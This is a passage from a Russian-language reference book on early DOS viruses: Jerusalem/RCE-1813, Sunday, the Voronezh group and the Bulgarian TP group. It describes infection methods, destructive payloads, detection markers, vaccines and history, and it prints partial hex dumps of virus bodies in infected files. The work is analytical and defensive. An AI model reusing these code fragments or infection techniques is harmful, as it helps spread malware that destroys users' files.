разрастаясь до невероятных размеров, достигающих предельно допу-
стимого для данной машины размера (например, Norton Commander мо-
жет достичь размера в несколько сот килобайт). Дата создания не
изменяется, а длина при каждом заражении увеличивается на 1808 --
1823 байта. Тело вируса размещается обычно в конце файла, однако в
случае, если поражаемый EXE-файл имеет неверную длину в заголовке
(это имеет место, например, в ряде программ, использующих часть
своего файла в качестве буфера на диске для хранения промежуточных
данных), то вирус размещается в середине. Такой эффект наблюдается
для FOXBASE, QC и ряда других больших программ, использующих часть
своего дискового файла в качестве буфера или неявного оверлея. При
изменении заголовка файла вирус записывает в поле контрольной
суммы значение 1984h.
Фаза проявления наступает через некоторое время после того, как
вирус стал резидентным (это время зависит от тактовой частоты ЭВМ
и для обычных РС/ХТ с тактовой частотой 4.77 Мгц составляет поряд-
ка 40 мин.) и зависит от даты и дня недели. В обычный день, не
приходящийся на пятницу, совпадающую с 13 числом, проявление дан-
ного вируса состоит в замедлении работы ЭВМ. При этом выдача любой
команды, например DIR, приводит к медленному выползанию строк на
экран. Этот эффект основан на том, что вирус перехватывает преры-
вание от таймера (8h) и при каждом прерывании 8h выполняет цикл из
нескольких тысяч команд. Обычно через некоторое время после начала
стадии проявления действия вируса приводят к зависанию MS DOS с
сообщением Stack overflow. Вторым визуальным эффектом является
вырывание кусков изображения с появлением на экране черного окна в
левом нижнем углу экрана (вирус выполняет скроллинг части экрана).
Если текущий день недели -- пятница, а текущее число -- 13, то ста-
дия проявления меняется: в такие дни вирус не заражает собой все
запускаемые файлы, а просто удаляет их с диска. Таким образом, при
попытке запустить программу на выполнение, MS DOS выдает сообщение
о том, что файл не найден. В результате будут уничтожены все фай-
лы, которые пользователь пытается запускать, пытаясь выяснить, что
происходит с компьютером. Поэтому непреложным правилом поведения
пользователей должно стать следующее: при возникновении каких-то
аномалий необходимо перегрузиться с защищенной дискеты и уже после
этого пытаться анализировать, что произошло с компьютером. Как уже
отмечалось, из-за ошибки в тексте вируса при заражении как COM-,
так и EXE-файлов, имеющих размер, дающий при увеличении на 1808 --
1821 байтов величину, превосходящую 64К, 128К и т.д., заражаемая
программа необратимо портится, перезаписываясь в начале.
Исторические замечания. Вирус RСE-1813 появился в Израиле в на-
чале 1988 г. В СССР обнаружен в ноябре 1988 г. в одном из москов-
ских кооперативов. Первый детектор был, по-видимому, разработан в
Институте программных систем (Переславль-Залесский), однако эта
программа до Киева не дошла. По результатам анкеты, проведенной
автором на апрельском семинаре, этот вирус был обнаружен в 10 ор-
ганизациях из 50 участников семинара, принявших участие в анкети-
ровании. Поскольку создание средств защиты несколько запоздало (в
Киеве эпидемия началась приблизительно в апреле, а средства защиты
появились примерно в июне), вирус распространился довольно широко
и нанес определенный ущерб: десятки, если не сотни тысяч часов бы-
ли потеряны на восстановление и перезапись зараженных программ.
Первыми использовавшимися в киевской практике детекторами для
этого вируса были DOCTOR А.А.Чижова и ANTIDOS киевской разработки.
Первые фаги, использовавшиеся в Киеве для борьбы с этим вирусом,
были разработаны А.А.Чижовым (DOCTOR1) и Л.И.Обуховым (FAG1813 --
август 1989 г.). Программа FAG1813, распространявшаяся как
SHAREWARE по цене 1 рубль за копию (см.СП 1-1), работала устойчи-
во, однако не могла рекурсивно обрабатывать подкаталоги (впрочем,
программа очень мала (1808 байтов)). Для рекурсивной обработки
подкаталогов использовалась с RUNTREE. Кроме того, Л.И.Обуховым
была разработана резидентная вакцина VAC1813R, а позднее VAC1813Q.
Вакцина содержит обработчик неиспользуемого в MS DOS прерывания
Е0, используемого вирусом для определения, имеется ли в оператив-
ной памяти копия вируса или нет. Если этот обработчик возвращает
значение 3, то вирус считает, что он уже является резидентным и
загрузку собственной копии в список резидентных программ не выпол-
няет. Данная вакцина является первым отечественным продуктом тако-
го типа и позволяет, в частности, работать на зараженной машине
без дезактивации всех зараженных файлов. Версия VAC1813Q выдает
предупреждающее сообщение всякий раз, когда делается попытка запу-
стить зараженную программу. Таким образом, она является одновре-
менно резидентным детектором для данного типа вируса. Позднее
В.В.Пономаренко была разработана поливакцина NEATVAC (СП 2-7).
Зарубежные программы появились в СССР несколько позднее. Первой
из них была программа FAG_SU, разработанная Joe Ratcatcher & Anre
Molnar.
Неформальные названия. Данный вирус имеет более десятка нефор-
мальных названий. Среди них: Hebrew University, PLO (ООП), Black
Hole (Черная дыра), Вирус замедления, Time (Время -- О.Котик). По-
лидетектор SCAN называет данный вирус Jerusalem Virus Version B
[Jeru].
Методы и программные средства защиты. В настоящее время все по-
лифаги и полидетекторы распознают этот вид вируса. Однако почти
все из указанных программ не обрабатывают случай, когда вирус на-
ходится в середине файла. Поэтому результаты их работы необходимо
контролировать с помощью контекстного поиска по всему диску. В по-
следних версиях полифага DOCTOR введен новый ключ, задающий расши-
ренную обработку файлов. В этом случае проводится полный просмотр
файлов. Поскольку для каждого зараженного СОМ-файла вирус в конце
дописывает признак зараженности, который состоит из 5 байтов, со-
держащих слово MsDos, можно реализовать пассивное вакцинирование
СОМ-файлов от этого типа вирусов. Для этой цели применима, напри-
мер, команда COPY, если заготовить слово MsDos в отдельном файле,
а затем конкатенировать COM-файлы с этим файлом.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1813
+---------------- команда обхода области данных
| (дрозофила перемещена в конец файла - см. ниже)
+-----+
0000:|E9920073554D7344 6F7300018F250000 ...sUMsDos...%..
0010: 001000D800AD0F5C 06FD1856059D1007 .......\...V....
0020: 7E00000000000000 0000000000000000 ~...............
0030: 000E258000000080 000E255C000E256C ..%.......%\..%l
0040: 000E250004FABA29 0053A1000000004D ..%....).S.....M
0050: 5A8000C300730160 00EA0AFFFF771710 Z....s.`.....w..
0060: 078419C50077171E 0000009090909090 .....w..........
0070: 0500200021001B01 00021000707D0100 .. .!.......p}..
0080: B9412A9B434F4D4D 414E442E434F4D01 .A*.COMMAND.COM.
0090: 0000000000
+--------- J-сигнатура
|
0095 |FCB4E0 CD2180FCE0731680 .........!...s..
00A0: FC037211B4DDBF00 01BE100703F72E8B ..r.............
00B0: 8D1100CD218CC805 10008ED0BC000750 ....!..........P
00C0: B8C50050CBFC062E 8C0631002E8C0639 ...P......1....9
00D0: 002E8C063D002E8C 0641008CC0051000 ....=....A......
00E0: 2E010649002E0106 4500B4E0CD2180FC ...I....E....!..
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
05E0: 1B00B82425CD2107 1F5F5E5A595B589D ...$%.!.._^ZY[X.
05F0: 2EFF2E1700000000 0000000000000000 ................
0600: 4D9D100010383133 522E434F4D000122 M....813R.COM..
0610: E9920073554D7344 6F7300018F250000 ...sUMsDos...%..
0620: 001000D800AD0F5C 06FD1856059D1007 .......\...V....
0630: 7E00000000000000 0000000000000000 ~...............
0640: 000E258000000080 000E255C000E256C ..%.......%\..%l
0650: 000E250004FABA29 0053A1000000004D ..%....).S.....M
0660: 5A8000C300730160 00EA0AFFFF771710 Z....s.`.....w..
0670: 078419C50077171E 0000009090909090 .....w..........
0680: 0500200021001B01 00021000707D0100 .. .!.......p}..
0690: B9412A9B434F4D4D 414E442E434F4D01 .A*.COMMAND.COM.
06A0: 0000000000FCB4E0 CD2180FCE0731680 .........!...s..
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
+------------------------ тело дрозофилы
|
0710:|9090909090909090 9090909090909090 ................
0720:|4D73446F73 MsDos
+----------+
+---------------- признак зараженности COM-файла
Пример карты памяти зараженного компьютера. В приводимой ниже
карте памяти резидентная часть вируса занимает последнюю строку
(1CD0) таблицы резидентных программ. Перехватываемые прерывания
соответствуют действительности.
Addr Program Parent Sg Bytes Hooked Vectors
------ -------- -------- -- ------ -----------------
(19A6) DOS N/A 2 3536
(1A8E) E1840 DOS 2 1280
(1AE0) RELEASE DOS 2 3552 27
(1BC0) GRAPHICS DOS 2 1088 05
(1C06) QUICK DOS 2 544 09
(1C2A) KBMNA DOS 2 512 16
(1C4C) DOSEDIT DOS 2 2064
(1CD0) N/A DOS 1 1824 08 21
5.2.2. Вирус RCE-1636 (Sunday -- Воскресенье)
Данный штамм получил название Sunday -- воскресенье, поскольку в
этот день недели вирус удаляет все запускаемые файлы. Формально
вирус RСЕ-1636 является резидентным файловым вирусом, поражающим
как СОМ-файлы, так и ЕХЕ-файлы. Вирус не проверяет версию MS DOS,
на которой функционирует. Работоспособен на версиях, начиная с 2.0
как на PC XT, так и на PC AT.
При выполнении зараженной программы вирус вначале проверяет на-
личие своей копии в памяти компьютера, аналогично тому, как это
делает вирус RCE-1813. Затем вирус инсталлируется и перехватывает
прерывания 21 и 8. Механизм размножения вируса стандартен -- пере-
хват прерывания 21-4B и заражение каждой подходящей запускаемой на
выполнение программы, за исключением файла с именем COMMAND.COM.
Ограничений на длину файлов нет, поэтому вирус уничтожает COM-фай-
лы, длина которых после заражения превысит 64K. Вирус не заражает
файлы с именем COMMAND.COM.
Файлы типа СОМ поражаются данным вирусом однократно, при этом
дата их создания не меняется, а длина увеличивается на 1636 бай-
тов. В инфицированной программе тело вируса размещается в начале
файла. Со смещением 184h от начала зараженного файла расположена
текстовая строка COMMAND.COM, а со смещением 351h -- текст сообще-
ния, выдаваемого вирусом на экран:
Today is SunDay! Why do you work so hard?
All work and no play make you a dull boy!
Come on ! Let's go out and have some fun!$
(Сегодня воскресенье! Зачем работать так напряженно ?
Постоянная работа без игр делает Вас занудой !
Пошли ! Давай выйдем из дому и развлечемся !)
В конец зараженного СОМ-файла записывается пятибайтовое поле
(обычно это поле содержит C8h, F7h, E1h, EEh, E7h, однако возможны
штаммы с другим содержанием). Указанное поле используется вирусом
в качестве признака зараженности COM-файлов.
EXE-файлы заражаются однократно. Контроль зараженности по тому
же пятибайтовому полю. При заражении EXE-файлов вирус дописывает
свое тело в конец программы и исправляет заголовок EXE-файла, за-
поминая некоторые поля. Как и RCE-1813, вирус записывает, вместо
контрольной суммы, число 1984. При этом оригинальное значение
контрольной суммы теряется. В конец зараженного файла дописываются
упомянутые выше 5 байт.
Как уже указывалось, данный вирус имеет стадию проявления, на-
ступающую в воскресенье. В этот день вирус не заражает собой все
запускаемые файлы, а, как и RCE-1813, удаляет их с диска. Перехва-
тывая прерывание от таймера (INT 8), вирус отсчитывает один час от
начала режима удаления запускаемых файлов и выводит приведенное
выше сообщение. Вирус имеет несколько штаммов, в одном из которых
в этом месте допущена ошибка и данная ветвь кода никогда не выпол-
няется. Аналогично вирусу RCE-1813, возможна запись вируса в сере-
дину расширенных EXE-файлов.
Исторические замечания. Вирус RСE-1636 появился в конце 1988 --
начале 1989 г. в США. В СССР обнаружен к марте 1990 в Ленинграде и
Киеве, а чуть позднее в Москве. Первым отечественным полифагом для
данного вируса был, по-видимому, AIDSTEST (версии, начиная с апре-
ля 1990), обнаруживают и уничтожают этот штамм. Анализ кода позво-
ляет предположить, что автор использовал в качестве основы для его
написания вирус RCE-1813.
Неформальные названия. Полидетектор SCAN называет данный штамм
Sunday Virus [Sunday].
Методы и программные средства защиты. См. прил.1.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1636
000: E992000131C8F7E1 EEE70001F51E0000 ....1...........
010: 002200AA00DF0F60 02FD125605C61090 ......`...V....
020: 7E00000000000000 0000000000004506 ~.............E.
030: 10E02B8000000080 00E02B5C00E02B6C ..+.......+\..+l
040: 00E01B80006C3E12 00D33900F006004D .....l>...9....M
050: 5AC4017500000020 003906FFFF160E5D Z..u... .9.....]
060: 068419C400160E1E 000000909090CD20 ...............
070: 050020008814A579 0002100060E30000 .. ....y....`...
080: B9412A9B434F4D4D 414E442E434F4D01 .A*.COMMAND.COM.
090: 0000000000
+------ начало инсталлятора
|
|FCB4FF CD2180FCFF731580 .........!...s..
0A0: FC047210B4DDBF00 01BE5F0603F72E8B ..r......._.....
0B0: 4D11CD218CC80510 008ED0BC5D0650B8 M..!........].P.
0C0: C40050CBFC062E8C 0631002E8C063900 ..P......1....9.
0D0: 2E8C063D002E8C06 41008CC00510002E ...=....A.......
0E0: 010649002E010645 00B4FFCD2180FC04 ..I....E....!...
0F0: 7510072E8E164500 2E8B2643002EFF2E u.....E...&C....
100: 470033C08EC0BBFC 03268B072EA34B00 G.3......&....K.
... .. .. .. .. .. .. .. .. .. .. .. ... .. .. .. .. ..
240: 1F00907E5E5B582E FF0E1F002EFF2E13 ...~^[X.........
250: 00546F6461792069 732053756E446179 .Today is SunDay
260: 212057687920646F 20796F7520776F72 ! Why do you wor
270: 6B20736F20686172 643F0A0D416C6C20 k so hard?..All
280: 20776F726B20616E 64206E6F20706C61 work and no pla
290: 79206D616B652079 6F7520612064756C y make you a dul
2A0: 6C20626F79210A0D 436F6D65206F6E20 l boy!..Come on
2B0: 21204C6574277320 676F206F75742061 ! Let's go out a
2C0: 6E64206861766520 736F6D652066756E nd have some fun
2D0: 21249C80FCFF7505 B800049DCF80FCDD !$....u.........
2E0: 740E3D004B7503EB 35909D2EFF2E1700 t.=.Ku..5.......
2F0: 5858B800012EA30A 00582EA30C00F3A4 XX.......X......
... .. .. .. .. .. .. .. .. .. .. .. ... .. .. .. .. ..
5D0: 1FC51680002E8B0E 7200B80143CD218D ........r...C.!.
5E0: 161B00B82425CD21 071F5F5E5A595B58 ....$%.!.._^ZY[X
5F0: 9D2EFF2E1700FC03 0000000000000000 ................
600: 0000000000000000 0000000000000000 ................
610: 0000000000000000 0000000000000000 ................
620: 0000000000000000 00002C0825460008 ..........,.%F..
630: 250825C60716026C 1540003CFC04000D %.%....l.@.<....
640: C97E9300010702D4 00F51E55C8556CFE .~.........U.Ul.
650: B98B00803EEB54A2 4C80003E00435690 ....>.T.L..>.CV.
660: 9090909090909090 9090909090909090 ................
670: 9090909090909090 90909090909090CD ................
680: 20C8F7E1EEE7 ......
+--------+
+----------- признак зараженности файла
5.2.3. Воронежская подгруппа
Воронежская подгруппа включает в настоящее время три вируса: RC-
529, RC-600 и RCE-1600, по-видимому, принадлежащие одному (отече-
ственному !) автору.
5.2.3.1. Вирус RC-529
(Peterburg -- Петербург, Пакость-1)
Формально данный вирус можно отнести к резидентным файловым
вирусам, заражающим файлы с расширением COM. Не проверяет версию
операционной системы, но использует имя программы, которое зано-
сится в Environment версии MS DOS не ниже 3.0. При запуске
зараженной программы инсталлируется, перехватывая прерывание 21.
Заражает только COM-файлы при их выполнении. Определяет тип
программы по расширению имени, из-за чего EXE-программы, имеющие
расширение COM, после заражения теряют работоспособность.
Работоспособность таких программ восстанавливается после
применения соответствующего фага. Подобно остальным вирусам иеру-
салимской группы, при заражении COM-файлов записывается в начало,
переписывая старое начало в конец файла. Уровень программирования
выдает начинающего: основная часть логики некритично заимствована
из вируса RСE-1813.
Исторические сведения. Впервые обнаружен в Ленинграде весной
1989 г. Автору был передан Д.Н.Лозинским. Первым фагом для данного
вируса был, по-видимому, AIDSTEST.
Неформальные названия. Помимо приведенных выше неизвестны. Поли-
детектором SCAN не детектируется.
Методы и программные средства защиты. См. прил.1.
Фрагмент дампа программы DUMY1744,зараженной вирусом RC-529
000: B815CA8B361B01BF 00018B0E1D018B1E ....6...........
010: 1901CD21FF361F01 C30101D007110247 ...!.6.........G
020: 017900C0010400C4 014D001102EA00FB .y.......M......
030: 020100FC02010000 0080000E255C000E ............%\..
040: 256C000E25CA01A1 1D0105140190A305 %l..%...........
050: 0303061D01050001 A30D038BE0050F00 ................
... .. .. .. .. .. .. .. .. .. .. .. .. ..
1B0: 15B8004233D28BCA CD21720AFEC68B0E ...B3....!r.....
1C0: 1D01B440CD21B801 578B0E07038B1609 ...@.!..W.......
1D0: 03CD21B43ECD21B8 01438B0E0B038E5E ..!.>.!..C.....^
1E0: 028B5600CD212EC5 160103B82425CD21 ..V..!......$%.!
1F0: 8BE55A1F5B5807C3 B003CFC3C35C06FD ..Z.[X.......\..
200: 1856059D10250336 0021002000360664 .V...%.6.!. .6.d
210: 0090909090909090 9090909090909090 ................
220: 9090909090909090 9090909090909090 ................
*** следующие строки идентичны предыдущей ***
8E0: 90 .
5.2.3.2. Вирус RC-600 (Пакость-2)
Данный штамм аналогичен штамму RC-529 и заражает только COM-фай-
лы. Формально вирус RС-600 является резидентным файловым вирусом,
поражающим СОМ-файлы. Вирус не проверяет версию MS DOS, на которой
функционирует. По-видимому, работоспособен на версиях, начиная с
2.0.
При запуске зараженной программы вирус сразу пытается
инсталлироваться в оперативной памяти. Для определения, имеется ли
уже в памяти резидентный вирус, используется стандартный для дан-
ной группы вирусов механизм: вирус выдает неиспользуемое MS DOS
прерывание 21-AB, а затем проверяет содержимое регистра AX. Это
делает возможным создание резидентной вакцины и такая вакцина
имеется (NEATVAC). Файлы заражаются при загрузке в память для вы-
полнения (прерывание 21-4Bh).
Заражаются файлы типа СОМ, даже если они имеют расширение ЕХЕ.
Дата и время создания зараженного файла не изменяются, а длина
увеличивается на 600 байтов. Минимальная длина заражаемых файлов
составляет 600 байтов (258h), а максимальная 60 000 байтов
(EA60h). Не заражаются файлы, содержащие в первых двух байтах зна-
чение, превышающее EF60h, а также файлы с атрибутом READ ONLY. Ви-
рус не заражает COMMAND.COM. Файлы заражаются однократно, при этом
дата их создания не меняется, а длина увеличивается на 600 байтов.
В инфицированной программе тело вируса размещается в начале файла.
Перехватывает прерывание 21h.
Вирус шифрует часть своего тела (50 байтов, начиная с 16 байта
от начала). Первые 600 байт заражаемой программы (участок, перено-
симый в конец файла) с также шифруются с помощью операции XOR 0BBh
и переносятся в конец файла. На их место помещается тело вируса
(тоже частично закодированное -- 50 байтов, начиная с 17-го -- XOR
0DDh).
Фаза проявления у данного вируса отсутствует. При попытке запу-
ска программы из оболочек типа NC на зараженной машине, если
COMMAND.COM находится на защищенном от записи диске, происходит
выпадение в DOS. При попытке заражения файлов, расположенных на
защищенной от записи дискете, иногда (не всегда) появляется стан-
дартное сообщение Abort, Retry.... Это связано с ошибкой в под-
программе обработки прерывания 24h.
Исторические замечания. По-видимому, вирус имеет отечественное
происхождение, поскольку в теле вируса имеется зашифрованная стро-
ка Oleynikoz S., 1990. Вирус RСE-600 появился в СССР в начале
1990 г. Обнаружен А.Сессой в Днепропетровске в середине апреля
1990г. Значительного распространения вирус не получил. Из полифа-
гов, распространяемых бесплатно, первым был, по видимому, -V
Е.Касперского (СП 2-7).
Неформальные названия. Помимо приведенного выше иногда
используется название 600 и Oleynikoz.
Программные средства защиты. Для борьбы с вирусом годятся имею-
щиеся контекстные детекторы и резидентные программы. В качестве
фага рекомендуется использовать -V Е.Касперского или Aidstest.
Фрагмент дампа дрозофилы, зараженной вирусом RC-600
(обратите внимание, что байты 90h перекодированы в BBh)
000: BE1001B932008A24 80F4DD882446E2F6 ....2..$....$F..
010: 697610FCE08888A8 DE3453DD5115F0DC iv.......4S.Q...
020: DD530566DEDDE356 DAF05DDDE354DAD3 .S.f...V..]..T..
030: C266DFDD56DAF05D DD54DA531D62DDDD .f..V..].T.S.b..
040: 63DD00B90008F3A4 8BD0EB2E90FB80FC c...............
050: AB7504B85555CF50 FEC43D004C587515 .u..UU.P..=.LXu.
060: 9C50535152565706 1EE99E001F075F5E .PSQRVW......._^
070: 5A595B589DEA1C02 BC128EDAB82135CD ZY[X.........!5.
080: 213E891E76013E8C 0678013E891E4202 !>..v.>..x.>..B.
090: 3E8C0644021E8CC0 8ED88BD31F8D164D >..D...........M
0A0: 01B82125CD210E1F 1E07BED401B90001 ..!%.!..........
0B0: BBEC018B3F83FF00 7502CD2057BBEE01 ....?...u.. W...
0C0: 8B0701C781C70001 FC57F3A45F588B0E .........W.._X..
0D0: EE0157C30500018B F0BF0001FC8A0434 ..W............4
0E0: BB88054647E2F6B8 000150C360025802 ...FG.....P.`.X.
0F0: 5605E00F55767F63 7473717560004934 V...Uv.ctsqu`.I4
100: 362B23232A000000 00CF8BDA1E52060E 6+##*........R..
... .. .. .. .. .. .. .. .. .. .. .. .. ..
240: 0300E927FEB8003E CD218B1EF0018E06 ...'...>.!......
250: F201B82425CD21C3 3820818089928E82 ...$%.!.8 ......
260: 0290BB05AEBA9531 AF0FB9769AFD594D .......1...v..YM
270: 01BBBB769BB1B626 2935299B2F3B3230 ...v...&)5)./;20
280: 9B2A353F3E2B3D33 299B39332B282A9B .*5?>+=3).93+(*.
290: ED8D8B8B9B9B9B93 E9F89B8D8B8B929A ................
2A0: BBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBB ................
*** последующие строки идентичны предыдущей ***
4A0: 3F3033363B9B2C33 2A293538359B2F3B ?036;.,3*)585./;
4B0: 32303B9B969B8D8B 20;.....
5.2.3.3. Вирус RC-1600
(Voronezh 2.01 -- Воронеж 2.01, Пакость-3)
Последний и наиболее сложный из рассматриваемой подгруппы. Не-
формальное название связано с наличием в теле вируса соответствую-
щей текстовой строки. Формально представляет собой резидентный
файловый вирус, заражающий COM- и EXE-файлы. С сожалением прихо-
дится констатировать, что в данном вирусе реализована идея, не-
осторожно высказанная Д.Н.Лозинским в документации к полифагу
AIDSTEST (AIDSREAD.ME): с целью затруднить обнаружение обычными
фагами, вирус не меняет точку входа в EXE-файле, изменяя
Relocation table.
При заражении EXE-файлов тело вируса дописывается в конец зара-
жаемой программы. Файлы заражаются не только при запуске программ
на исполнение, но и при открытии файлов.
Уровень программирования создает противоречивое впечатление.
Имеется ряд признаков, позволяющих говорить о близости почерка,
которым написаны данный вирус и вирус RC-600.
Исторические замечания. Обнаружен в Воронеже в июне 1990 г.
А.Н.Мартемьяновым. Автору передан Д.Н.Лозинским. Из полифагов,
распространяющихся бесплатно, первым его включил Е.Сусликов в по-
лифаг К32. Значительного распространения вирус не получил.
Неформальные названия. Помимо приведенных выше иногда
используется название 1600.
Программные средства защиты. Для борьбы с вирусом годятся имею-
щиеся контекстные детекторы и резидентные программы. В качестве
фага можно рекомендовать упомянутый выше полифаг К32.
Фрагмент дампа вируса
000: 8CD80E1F50E80000 5B81EB080153B4AB ....P...[....S..
010: CD213D55557503E9 D0008CC02D01008E .!=UUu......-...
020: D8BB03003E8B072D EA003E8907061FBB ....>..-..>.....
030: 02003E8B072DEA00 3E89078EC0BF0001 ..>..-..>.......
040: BE00015B5301DE0E 1FB9A406F3A48BD0 ...[S...........
050: EB74909CFB80FCAB 7505B855559DCF3D .t......u..UU..=
060: 003D754050535152 565706B9410030C0 .=u@PSQRVW..A.0.
070: 8BFA1E07F2AE83EF 048BF7560E07B904 ...........V....
080: 00BF8902F3A683F9 0075045EEB0D90BF .........u.^....
090: 8C02B904005EF3A6 83F900075F5E5A59 .....^......_^ZY
... .. .. .. .. .. .. .. .. .. .. .. .. ..
0A0: 5B58740950FEC43D 004C587513505351 [Xt.P..=.LXu.PSQ
0B0: 525657061EE91F01 1F075F5E5A595B58 RVW......._^ZY[X
0C0: 9DEA60142B028EDA B82135CD213E891E ..`.+....!5.!>..
0D0: C2013E8C06C4013E 891E75033E8C0677 ..>....>..u.>..w
0E0: 038D165301B82125 CD215ABBB00201D3 ...S..!%.!Z.....
0F0: 2E803F0074411F8C D80E1F8BCA5F0750 ..?.tA......._.P
170: FC8A0434BB880546 47E2F6B800015B50 ...4...FG.....[P
180: C3F7854006CC7DE5 1145584565786555 ...@..}..EXEexeU
190: 767F637473717560 566F726F6E657A68 v.ctsqu`Voronezh
1A0: 2C3139393020322E 3031B430CD213C00 ,1990 2.01.0.!<.
1B0: 0100081A00110300 000000002A390000 ............*9..
... .. .. .. .. .. .. .. .. .. .. .. .. ..
5B0: 595B53BA4007CD21 B80042BA0000B900 Y[S.@..!..B.....
5C0: 00CD21BB1001BE83 028B0CBA0001B440 ..!............@
5D0: 5B53CD215B5A5953 B80157CD218B16D4 [S.![ZYS..W.!...
5E0: 028E1ED202B80143 2E8B0ED002CD210E .......C......!.
5F0: 1F5BE80300E9C0FA B8003ECD218B1E85 .[........>.!...
600: 028E068702B82425 CD21C3558BEC1EB8 ......$%.!.U....
610: 01438B16D4028E1E D20231C9CD217306 .C........1..!s.
620: 1F5D58E945FF368B 5E04B8003ECD21B8 .]X.E.6.^...>.!.
630: 023DFA9C2EFF1EC2 011F368946045DC3 .=........6.F.].
5.2.4. Другие представители иерусалимской группы.
Как уже указывалось, вирусы иерусалимской группы относятся к од-
ним из самых распространенных. Среди них следует отметить первоап-
рельскую подгруппу, а также вирус FU MANCHU. В настоящее время эти
вирусы в СССР еще не выделены. Некоторые сведения о них приводятся
в прил. 3.
5.3. Группа TP-вирусов
Данная группа резидентных вирусов имеет болгарское происхожде-
ние. По данным В.Бончева, они написаны техно-крысой из софийского
вуза ВМЕИ им. В.И.Ленина (теперь Технический университет). В нее
входит 12 отличающихся друг от друга, но несомненно принадлежащих
одному автору штаммов. Вирусы разработаны в конце 1988 -- начале
1989 г. Впервые эти штаммы были описаны В.Бончевым ( окончившим,
кстати, ВМЕИ им. В.И.Ленина в 1984 г.), который, по его собствен-
ному признанию, знаком с написавшей их техно-крысой. Об этом, так-
же, свидетельствуют и некоторые факты. Во-первых, в статье [ ]
В.Бончев утверждает, что заражение EXE-файла несколько сложнее,
чем COM- файла, но возможно, хотя на самом деле сложность зараже-
ния COM- и EXE- файлов примерно равны. И, действительно, первые
штаммы вирусов данной группы заражают EXE-файл специальным, более
сложным способом, основанным на предварительной переделке EXE-фай-
ла в COM- файл. Во-вторых, бросается в глаза подробность, с кото-
рой в [14] описаны технические решения, использованные в ряде
штаммов этой группы, причем само описание ведется с характерной
скорее для разработчика, чем для исследователя, точки зрения. В
первой статье, где упомянуты вирусы данной группы [КВ.3-4'89], уже
указана такая тонкая подробность, как вытеснение старшими
штаммами группы штаммов с меньшими номерами в зараженных файлах,
хотя в самой статье упоминаются только вирусы подгруппы VACSINE,
для которых вытеснение имеет место лишь в оперативной памяти. В
третьих, в статье [13] указывается, что автором создан и фаг для
этой группы вирусов, а единственным известным болгарским полифагом
для данной группы является программа TP48CLS В.Бончева т.е. неиск-
лючено, что алгоритм выкусывания был предоставлен В.Бончеву са-
мим автором этих вирусов.
По оценке большинства исследователей, вирусы написаны специалис-
том высокой квалификации. Ни один из вирусов этой группы не ориен-
тирован на нанесение вреда данным или программам на зараженном им
компьютере. Для большинства представителей этой группы отличитель-
ным признаком является строка F47Ah в начале тела вируса за кото-
рой следует номер штамма. При этом, кроме версии TP-45 (Yankee
Doodle-2D), указанная строка повторяется в конце тела вируса, т.е.
в конце зараженного им файла, что позволяет быстро определить вер-
сию заразившего тот или иной файл вируса путем просмотра дампа па-
мяти. Как видно из приводимых ниже дампов, байт F4h расположен со
смещением 4 от конца, а байт 7Ah -- со смещением 3. Следующий за
этой парой байтов (F4h, 7Ah) байт и определяет номер штамма. Штам-
мы, входящие в данную группу можно разделить на три подгруппы.
1) Подгруппа VACSINA (TP-4, TP-5 и TP-16). Это первые представи-
тели данной группы, разработанные примерно в конце 1988 г. Все они
содержат строку VACSINA, выполняют преобразование EXE-файлов в
COM-файлы в два этапа и не заражают файлов размером больше 64К.
2) Подгруппа музыкальной перезагрузки (ТР-24 и TР-25). Штаммы,
входящие в данную подгруппу, играют мелодию Yankee Doodle Dendy
при перезагрузке. Ограничение на размер заражаемых EXE-файлов со-
храняется.
3) Подгруппа музыкальных самоедов (TP-33, TP-34, TP-38, TP-39,
TP-41, TP-44 и TP-45). Штаммы, входящие в данную подгруппу
разработаны примернов марте-апреле 1989 г. Они играют указанную
выше мелодию в 17 часов, а начиная с TP-38 обладают средствами об-
хода резидентных фильтров и защиты от трассировки на зараженной
машине. Размер заражаемых EXE-файлов не ограничен, а заражение
ведется общепринятым способом.
В первом приближении динамика изменений свойств данной группы
вирусов может быть представлена следующим образом (изложение бази-
руется на материалах, предоставленных Д.Н.Лозинским): до версии
TP-05 при заражении портится дата создания файла; до TP-09 включи-
тельно при заражении COM-файла требуется, чтобы первой командой
программы была JMP (т.е. файл начинался с кода E9).
До TP-16 заражение EXE программ произходит в два этапа. На
первом этапе EXE-программа трансформируется в COM-формат, путем
дописывния специального псевдозагрузчика размером 132 байта,
присоединяющегося по типу вируса, но лишенного способности к
самостоятельному размножению. Следует отметить, что преобразование
EXE-файла в COM-файл, выполняемое вирусом, отличается от
преобразования, выполняемого утилитой EXE2COM и, тем самым,
представляет некоторый самостоятельный интерес. На втором этапе
получившийся агрегат заражается как обычный COM-файл (полифаг
AIDSTEST распознает такой агрегат и помечает его в протоколе как
(FL)).
Следующие версии, включая TP-34, также преобразуют файлы типа
EXE в файлы типа COM, однако делают это в один прием. По-видимому,
штаммов от TP-16 до TP-24 вообще не существует. Начиная с версии
TP-35 EXE-программы сохраняют свой формат, причем во всех заражае-
мых модулях со смещением 12h от начала стоит расстояние до начала
вируса, деленное на 16. Одновременно в начале вируса дублируется
сигнатура F47A и номер версии. Версия TP-45 при заражении EXE-про-
граммы в конец файла эту информацию не пишет. С версии TP-24 раз-
множение не обнаруживается резидентными антивирусными программами,
следящими за записью в программные файлы, поскольку вирус передает
управление непосредственно в BIOS, обходя сторожей. С версии TP-33
вирусы принимают меры защиты от трассировки. В предыдущей главе
описан нерезидентный вирус E-1961, называемый SCAN Yankee Doodle
Short длиной 1961 байт, однако с данной группой его объединяет
только общность играемой мелодии.
Для данного семейства вирусов просматривается прямая аналогия с
описанной выше игрой Animal, хотя конструктивная цель в данном
случае отсутствует. Номер версии вируса используется данным виру-
сом для идентификации себя в оперативной памяти и возвращается ре-
зидентными частями вируса при выполнении прерывания 21-C500 для
версий 19h, 21h, 22h или 21-C600 для версий 26h, 29h, 2Сh. При
этом, если запускать поочередно файлы, зараженные вирусами разных
версий в порядке возрастания версий, то в оперативной памяти будет
создана как бы цепочка резидентных вирусов, причем при запуске не-
зараженной программы она будет инфицирована версией вируса с наи-
большим номером. Если же начать загружать зараженные программы в
порядке убывания версии вируса, то версии с меньшими номерами не
будут становиться резидентными. Используя эту идею, В. Пономаренко
